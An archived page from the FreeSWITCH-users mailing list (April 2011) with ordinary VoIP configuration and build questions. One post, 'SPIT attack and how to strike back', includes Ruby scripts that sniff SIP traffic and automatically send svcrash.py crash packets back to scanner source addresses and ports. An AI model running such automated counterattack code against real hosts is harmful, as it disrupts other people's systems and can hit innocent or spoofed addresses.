April 2011 - FreeSWITCH-users - FreeSWITCH Mailing Lists

Changing From header in voicemail to e-mail notifications
by John Platts 22 Apr '11

22 Apr '11

We see FreeSWITCH mod_voicemail in the From header of the voicemail to e-mail notifications. We also want to change the E-mail address in the From header to come from a specific domain. How do we go about changing the From: header in the voicemail to e-mail notifications? We do not want FreeSWITCH mod_voicemail to appear in the From header of the e-mail messages.

3 2

CallsIN counter on gateway
by Leon de Rooij 22 Apr '11

22 Apr '11

Hi all, I have a gateway that sends me invites with the callerid in the from: header and the destination number in the to: header. I'd like these inbound invites to be matched to the proper gateway (that is used for outbound calls) so that I can use params of the gateway like context, but also so the CallsIN counter gets increased for each inbound call. Is this at all possible ? From what I understand from sofia.c, the gateway->ib_calls is only increased when an incoming request contains a gw= param or when destination_number is prefixed by gw+, or is there another way ? thanks & kind regards, Leon de Rooij

2 3

setup an enviroment for implementating / testing IVR feature
by Frankie Yiu 22 Apr '11

22 Apr '11

Hi there, I would like to start implementating an IVR feature, but the first thing I need to do is to able to use a softphone to dial into my freeSWITCH so that an audio would start playing. Right now I have the original configuration of freeSWITCH which I am not sure how to dial into the system using the softphone. For example, what extension I have to call; or if I need to change anything in dialplan, or configuration, etc. I have C# code that let me make outgoing call to my softphone, play audio or collect DTMF. But I am not sure what to do for incoming call using the original configuration from freeSWITCH. Thanks in advance. Frankie

4 3

Program Crash! What should i do ?
by Alex Zhou 22 Apr '11

22 Apr '11

Hi ! Master I wrote a auto dial out program named waihu5. It's main function is fetch phone number from Oracle DB using unixODBC, then call a tuxedo services to verify the phone number.When the verify is passed, update database status for this phone number . Finally ,when receive the HANG-UP event for this phone number, get Hangup-Cause and again update database status for this phone number. It was runing perfect this morning for 1.5 hour,and processed and dialed out about 10000 phone number. But this afternoon,when it has finished 16000 phone number,it's crashed! I just don't know how to fix it?Can you help me. Here is crash info:http://pastebin.com/3xTk0GgN I have no dump file .I think since it was crashed ,it will crash again .Then i will get crash file,because i have about 90000 phone number to dial out. So if you know where is the problem ,please tell me. Thanks a lot! My english is so bad,i wish you can understand what i said. Thanks again.

3 3

LUA pattern again
by Boris Kovalenko 22 Apr '11

22 Apr '11

Hello! May somebody help me how to write regex ^7?(3435)?230\d{3} with LUA pattern? I've tried ^7?3435?230%d%d%d and this is wrong. -- С уважением, Борис Коваленко ЗАО "Тагнет" тел. +7 (3435) 230001 факс +7 (3435) 230005

2 6

error loading mod_snmp
by Serge S. Yuriev 22 Apr '11

22 Apr '11

Hi 2011-04-20 18:14:19.923216 [CRIT] switch_loadable_module.c:928 Error Loading module /usr/local/freeswitch/mod/mod_snmp.so **/usr/lib/libnssutil3.so: undefined symbol: PR_GetDirectorySeparator** Last GIT, centos 5.5 32/64bit I'm googled and found few links to analogous problem with mod_spidermonkey and mod_xml_cURL. The only cure back to 2008 is to rebuild libcurl myself as it broken in Fedora.. Is this right or I'm doing something obvious wrong? -- wbr, Serge

2 2

Difference Between "realm" and "challenge-realm" in sip_profiles
by Jerry Richards 21 Apr '11

21 Apr '11

Hello All, What is the difference between the parameters "realm" and "challenge-realm" in the conf/sip_profiles tree? Thanks, Jerry

2 1

Hangup a call with silence
by Stephen Wilde 21 Apr '11

21 Apr '11

I have a provider that doesn't send the bye when the b-leb hangup the call and the call is active until a-leg hangup. Sometime happens that the a-leg forget to hangup and the call remain active. There is a way to auto disconnect the call where there is, for example, 30s of silence? Stephen

3 7

SPIT attack and how to strike back
by Peter P GMX 21 Apr '11

21 Apr '11

Hello all, I would like to share this with you as you may have also been affected by this threat. Yesterday we received a SPIT attack to our Freeswitch servers. We had about 50 register requests/sec. We noticed this as we saw a slight increase in the load of the Freeswitch servers. Fortunately Freeswitch can handle a huge amount of register requests so we had no denial of service. You can identify this attack by finding the following in the Register message: User-Agent: friendly-scanner How to get rid of it: The attacker used Sipvicious (friendly-scanner). Sipvicious itself has a nice tool "svcrash.py" wich can send a malformed packet back to the attacker which crashes their own Sipvicious tool. You can issue this tool by python svcrash.py -d <host of attacker> -p <port of attacker> You will need port 5060 on your machine to work. But there is also a workaround for that. svcrash.py will show how to overcome this if your port 5060 is not available. Download it here http://sipvicious.googlecode.com/files/sipvicious-0.2.6.tar.gz and unpack it to a folder of your choice. I wrote a small Ruby script to send the packet back to a port range, as our attacker used some dozens of ports to send. Here is the script (Install ruby first by "apt-get install ruby" e.g. on Debian based systems). Put it into the sipvicious directory kill_ports.rb: #!/usr/bin/env ruby host=ARGV[0] start_port=ARGV[1].to_i end_port=ARGV[2].to_i start_port.upto(end_port) do |port| cmd="python svcrash.py -d #{host} -p #{port}" p cmd erg=`#{cmd}` p erg end You now can run it by ./kill_ports.rb <ip> <from_port> <to_port> By using this tool we got rid of most of the SPIT messages. But after a while they started again to attack us from different ports. The next step is: Why not automate this by trying to identify host and port automatically and send back the svcrash.py packet to the sender's port? First install the pcap library apt-get install libpcap-dev libpcap-ruby Then I wrote the following tool to automate this, it makes use of the kill_ports.rb above: strike_back.rb: #!/usr/bin/env ruby # I used some code from http://snippets.dzone.com/posts/show/5931 require 'pcaplet' require 'logger' require 'timeout' @timeout=3600 # max runtime: 1 hour @logfile='strike_back.log' class AuditLogger < Logger def format_message(severity, timestamp, progname, msg) puts msg "#{msg}\n" end end logfile = File.open(@logfile, 'a') LOGGER = AuditLogger.new(logfile) LOGGER.level = Logger::INFO search="friendly-scanner" puts"Searching for '#{ search}' in SIP packets" $network = Pcaplet.new('-s 1500') $filter = Pcap::Filter.new('udp and dst port 5060', $network.capture) $network.add_filter($filter) puts "Logfile: #{@logfile}" puts "Starting capture..." begin Timeout.timeout(@timeout) do # 3600 sec for p in $network header= "#{Time.now.strftime("%Y-%m-%d %H:%M:%S")} #{p.src}:#{p.sport} => #{p.dst}:#{p.dport}" if $filter =~ p #puts "simple search" if p.udp_data.index(search) LOGGER.info "Kill Friendly scanner #{p.src} with Source Port #{p.sport}" cmd="./kill_ports.rb #{p.src} #{p.sport} #{p.sport}" erg=`#{cmd}` p erg LOGGER.info header LOGGER.info p.udp_data end end end end rescue Timeout::Error logfile.flush puts "Timeout - finished." end There may be a better way to code this, but at least it worked. After about 15min the number of attacks went to 0. Disclaimer: You can damage other systems by using these tools. So be carefull and use at your own risks. Do not use this tool for attacking other systems! Best regards Peter

9 11

questions on make mod_flite
by Seven Du 21 Apr '11

21 Apr '11

Hi, I tried to build mod_flite but faild. git head on a mac book air with MacOSX 10.6.7 make mod_flite configure: error: cannot find install-sh or install.sh in "." "./.." "./../.." touch libs/flite-1.3.99/install-sh make mod_flite configure: creating ./config.status config.status: error: cannot find input file: config/config.in make[1]: *** [/Users/seven/workspace/freeswitch/freeswitch/libs/flite-1.3.99/Makefile] Error 1 make: *** [all] Error 1 Any ideas ? thanks -- Seven Du About: http://about.me/dujinfang Blog: http://www.dujinfang.com Proj: http://www.freeswitch.org.cn

2 3